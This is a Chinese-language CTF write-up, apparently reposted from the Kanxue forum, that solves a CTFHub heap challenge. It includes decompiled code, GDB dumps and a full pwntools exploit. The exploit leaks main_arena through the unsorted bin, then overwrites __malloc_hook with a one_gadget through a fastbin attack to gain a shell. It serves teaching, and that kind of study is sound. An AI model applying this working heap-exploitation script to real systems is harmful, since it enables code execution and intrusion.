服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

CTFHUB-UnsortedBin Attack

日期: 来源:看雪学苑收集编辑:LeaMov

本文为看雪论坛优秀文章

看雪论坛作者ID:LeaMov





程序分析


1、IDA静态分析


(1)伪代码分析


main()函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  init(argc, argv, envp);  interface();}void __noreturn interface(){  int choice; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v1; // [rsp+8h] [rbp-8h]   v1 = __readfsqword(0x28u);  while ( 1 )  {    while ( 1 )    {      menu();      __isoc99_scanf("%d", &choice);      if ( choice != 1 )        break;      add();    }    switch ( choice )    {      case 2:        delete();        break;      case 3:        show();        break;      case 4:        edit();        break;      case 1024:        if ( magic > 28800 )          system("/bin/sh");        break;      default:        exit(-1);    }  }}


add()函数:

unsigned __int64 add(){  unsigned int inputSize; // [rsp+4h] [rbp-101Ch] BYREF  unsigned int index; // [rsp+8h] [rbp-1018h]  unsigned int v3; // [rsp+Ch] [rbp-1014h]  char v4[4096]; // [rsp+10h] [rbp-1010h] BYREF  unsigned __int64 v5; // [rsp+1018h] [rbp-8h]   v5 = __readfsqword(0x28u);  memset(v4, 0, sizeof(v4));  for ( index = 0; index <= 9; ++index )  {    if ( !*(&heapList + index) )    {      v3 = index;      break;    }  }  if ( index == 11 )  {    puts("wrong");    exit(0);  }  puts("Size: ");  __isoc99_scanf("%d", &inputSize);  if ( inputSize > 0x500 )    inputSize = 1280;  *(&heapList + v3) = malloc(inputSize);  Size[v3] = inputSize;  puts("Content: ");  read(0, *(&heapList + v3), inputSize);  return __readfsqword(0x28u) ^ v5;}


delete()函数:

unsigned __int64 delete(){  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]   v2 = __readfsqword(0x28u);  puts("Index:");  __isoc99_scanf("%d", &index);  if ( index > 0xB )  {    puts("wrong");    exit(0);  }  free(*(&heapList + index));  *(&heapList + index) = 0LL;  Size[index] = 0;  return __readfsqword(0x28u) ^ v2;}


show()函数:

unsigned __int64 show(){  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]   v2 = __readfsqword(0x28u);  puts("Index:");  __isoc99_scanf("%d", &index);  if ( *(&heapList + index) )    printf("Content: %s\n", (const char *)*(&heapList + index));  return __readfsqword(0x28u) ^ v2;}


edit()函数【利用点-堆溢出】

unsigned __int64 edit(){  int nbytes; // [rsp+0h] [rbp-10h] BYREF  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v3; // [rsp+8h] [rbp-8h]   v3 = __readfsqword(0x28u);  puts("Index:");  __isoc99_scanf("%d", &index);  puts("Size:");  __isoc99_scanf("%d", &nbytes);  if ( Size[index] >= nbytes )  {    if ( *(&heapList + index) )    {      puts("Content:");      read(0, *(&heapList + index), (unsigned int)nbytes);    }    else    {      puts("wrong");    }  }  else  {    puts("wrong!");  }  return __readfsqword(0x28u) ^ v3;}


(2)GDB调试分析


全局变量上方内存区,我们本次不利用此块内容:
pwndbg> x/30gx 0x6020AC-0x1f0x60208d:    0xfff7bc38e0000000    0x000000000000007f0x60209d:    0xfff7bc4540000000    0x000000000000007f0x6020ad <magic+1>:    0x0000000000000000    0x00000000000000000x6020bd:    0x0000000000000000    0x00000000000000000x6020cd <ptr+13>:    0x0000000000000000    0x00000000000000000x6020dd <ptr+29>:    0x0000000000000000    0x00000000000000000x6020ed <ptr+45>:    0x0000000000000000    0x00000000000000000x6020fd <ptr+61>:    0x0000000000000000    0x00000000000000000x60210d <ptr+77>:    0x0000000000000000    0x00000000000000000x60211d:    0x0000000000000000    0x00000000000000000x60212d <Size+13>:    0x0000000000000000    0x00000000000000000x60213d <Size+29>:    0x0000000000000000    0x0000000000000000

mallocHook上方内存区:
pwndbg> x/30gx 0x7ffff7bc3b10-0x300x7ffff7bc3ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x00000000000000000x7ffff7bc3af0 <_IO_wide_data_0+304>:    0x00007ffff7bc2260    0x00000000000000000x7ffff7bc3b00 <__memalign_hook>:    0x00007ffff78853f0    0x00007ffff7884fd00x7ffff7bc3b10 <__malloc_hook>:    0x00007ffff7884e00    0x00000000000000000x7ffff7bc3b20 <main_arena>:    0x0000000000000000    0x0000000000000000

FakeChunk选址:
pwndbg> x/30gx 0x7ffff7bc3b20-0x330x7ffff7bc3aed <_IO_wide_data_0+301>:    0xfff7bc2260000000    0x000000000000007f0x7ffff7bc3afd:    0xfff78853f0000000    0xfff7884fd000007f0x7ffff7bc3b0d <__realloc_hook+5>:    0xfff7884e0000007f    0x000000000000007f0x7ffff7bc3b1d:    0x0000000000000000    0x00000000000000000x7ffff7bc3b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000


2、分析总结


虽然这题叫UnsortedBin Attack,但是甚至可以用上一题的exp来打通,不是很理解为什么要在interface函数中设置magic这个后门,不过为了符合出题人的要求,所以还是单独用UnsortedBin Attack来做一次。

假如不存在全局变量heapList;magic,目前不知道需要申请FakeChunk到哪个位置,所以需要使用Unsorted Bin来泄露main_Arena的地址。





漏洞利用及原理


可利用漏洞

  • 整数溢出漏洞
  • 堆溢出漏洞


1.UnsortedBin Attack | Leak mainArena


利用思路


根据分析可知:
  • add()函数允许用户申请10个不大于0x500的heap

  • edit()函数中存在堆溢出漏洞

  • __malloc_hook()函数位于main_arena-0x10处

  • __malloc_hook()函数上方存在可用于构造FakeChunk的内存区


利用流程

  1. 申请3块大小为0x60的chunk#0 chunk#1 chunk#2、申请1块大小为0x400的chunk#3、再申请一块大小为0x60的chunk#4

  2. 释放chunk#3使其进入unsorted bin,此时chunk#3->fd指向main_arena

  3. 通过edit()函数填充chunk#2至chunk#3->size

  4. 使用show()函数打印chunk#2并泄露出main_arena后计算出__malloc_hook和LibcBase

  5. 使用FastBin Attack篡改__malloc_hook使其指向oneGadget


利用原理

当FreeChunk为unsorted bin一链表中唯一元素时,该FreeChunk->fd FreeChunk->bk均指向main_arena+offset,经过调试得知该offset=88;__malloc_hook = main_arena-0x10,经过上述分析已知__malloc_hook上方可构造FakeChunk以劫持__malloc_hook






Exploit


from pwn import * prog = "./pwn" local = Falsecontext(os='linux', arch='amd64', log_level='debug') elf = ELF("./pwn")libc = ELF("./libc-2.23.so") if local:    p = process(prog)    libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")    gdb.attach(p)    sleep(1)else:    p = remote("challenge-201a3ecdccce276e.sandbox.ctfhub.com",29865) def add(size):    p.sendlineafter(">> ","1")    p.sendlineafter("Size: \n",str(size))    p.sendafter("Content: \n",b"\x00") def show(index):    p.sendlineafter(">> ","3")    p.sendlineafter("Index:\n",str(index)) def dele(index):    p.sendlineafter(">> ","2")    p.sendlineafter("Index:\n",str(index)) def edit(index,content):    p.sendlineafter(">> ","4")    p.sendlineafter("Index:\n",str(index))    p.sendlineafter("Size:\n","-1")    p.sendafter("Content:\n",content) fakeChunk = 0x60208d add(0x60)#0add(0x60)#1add(0x60)#2add(0x400)#3add(0x60)#4 避免chunk#3与topChunk合并 dele(3)payload = b"A"*0x70edit(2,payload)show(2) mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))print("mainArena ===========> {}".format(hex(mainArena)))mallocHook = mainArena-0x10-88libcBase = mallocHook - libc.sym['__malloc_hook']oneGadGet = 0xf1247 + libcBase fakeChunk = mallocHook - 0x23 #易错点,请勿忽略本操作payload = b"\x00"*0x60payload += p64(0)payload += p64(0x411)edit(2,payload)#此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明#易错点,请勿忽略本操作 #接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》dele(2)dele(1)payload = b"A"*0x60payload += p64(0)payload += p64(0x71)payload += p64(fakeChunk)edit(0,payload) add(0x60)#1add(0x60)#2 = fakeChunk payload = b"A"*0x13payload += p64(oneGadGet)edit(2,payload)  p.interactive()p.close()





总结


1、关于通过 Unsorted Bin 泄露地址的补充


本题的重点是通过Unsorted Bin来泄露main_arena,具体泄露方式需要参照题目的show()函数运作方式,例如本题是以字符串来输出heap中内容,我们只需要把内存填充至fd\bk指针即可。

举个其它show()函数形式的例子:write(0,heapList[index]+16,*heapList[index]+8)

该情况下泄露思路如下
  1. 申请一块0x60大小的chunk#0

  2. 申请一块0x40大小的chunk#1

  3. 申请一块0x400大小的chunk#2

  4. 通过堆溢出篡改chunk#1的size为0x60

  5. show(1)即可打印出chunk#2的fd和bk


2、本题易错点


可以注意到在完成泄露准备释放chunk#2 chunk#1时对chunk#3->heapHeader进行了一次还原,若不作此操作,将会触发报错。
*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***

可以注意到是在free()函数时的错误,若进入glibc源码中搜索invalid next size (fast)可以找到触发该报错的函数是_int_free,以下是触发该报错的检查源码。
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ            || chunksize (chunk_at_offset (p, size)) >= av->system_mem);        __libc_lock_unlock (av->mutex);
该检查会判断下一块chunk的大小是否小于 MINSIZE || 大于 system_mem,若符合则会报错,所以需要将下一个chunk的size修改成符合条件的值避免报错。





看雪ID:LeaMov

https://bbs.kanxue.com/user-home-952954.htm

*本文由看雪论坛 LeaMov 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

相关阅读

  • 不同大小鸡蛋差别有多大?考眼力的时候到了!

  • 本文约 2500 字,阅读约需 5 分钟2022 版的膳食指南宝塔建议,每天吃 120-200 克的动物性食品,其中每天 1 个鸡蛋。于是,时不时就有朋友来问我,这每天 1 个鸡蛋,是多大的鸡蛋啊?其实,
  • 搭建复习交流平台 提高数学教学质量

  • 为搭建中考复习交流平台,促进各校学生共同进步,提高九年级学科复习的科学性和有效性,为 2023 年中考取得优异成绩打下坚实基础,3月28日,名山区2023年九年级数学教研活动在名山区
  • Realworld CTF 2023 Ferris_proxy

  • 本文为看雪论坛优秀文章看雪论坛作者ID:1mmortal题目含有两个程序client和server以及一个包含flag传输的pcapng流量文件。打开题目一看,好消息是binary没去符号,坏消息是这是个
  • Numpy中数组和矩阵操作的数学函数

  • 来源:网络Numpy 是一个强大的 Python 计算库。它提供了广泛的数学函数,可以对数组和矩阵执行各种操作。本文中将整理一些基本和常用的数学操作。基本数学运算:Numpy 提供了许多
  • 利用 Python 开发 App 实战!

  • ↓推荐关注↓来源:网络Python语言虽然很万能,但用它来开发app还是显得有点不对路,因此用Python开发的app应当是作为编码练习、或者自娱自乐所用,加上目前这方面的模块还不是特别

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四
  • 美国对华2000亿关税清单,到底影响有多大?

  • 1 今天A股大跌,上证最大跌幅超过2%。直接导火索是美国证实计划对华2000亿美元产品加征25%关税。 听起来,2000亿美元数目巨大,我们来算笔账。 2000亿美元,按现在人民币汇率

最新文章

  • CTFHUB-UnsortedBin Attack

  • 本文为看雪论坛优秀文章看雪论坛作者ID:LeaMov一程序分析1、IDA静态分析(1)伪代码分析main()函数:int __cdecl __noreturn main(int argc, const char **argv, const char **env
  • 全新Pwn系列课程上线!解锁二进制漏洞挖掘技巧

  • 你是否曾在参加CTF比赛时被二进制漏洞难倒?你是否曾在挖掘二进制漏洞时手足无措?现在,《二进制系列之Pwn篇》课程全新上线,入门到进阶带你全方位学习,掌握二进制漏洞挖掘的技能。
  • 周日3场精彩直播课!分享技术干货

  • 快来预约*声明:针对未购课用户,观看视频号完整直播均需付费高研3w班:《安白盒 AES 之从源码的角度分析白盒》时间:4月16日(周日)13点系统0day安全:《漏洞挖掘复现cve-2》时间:4月16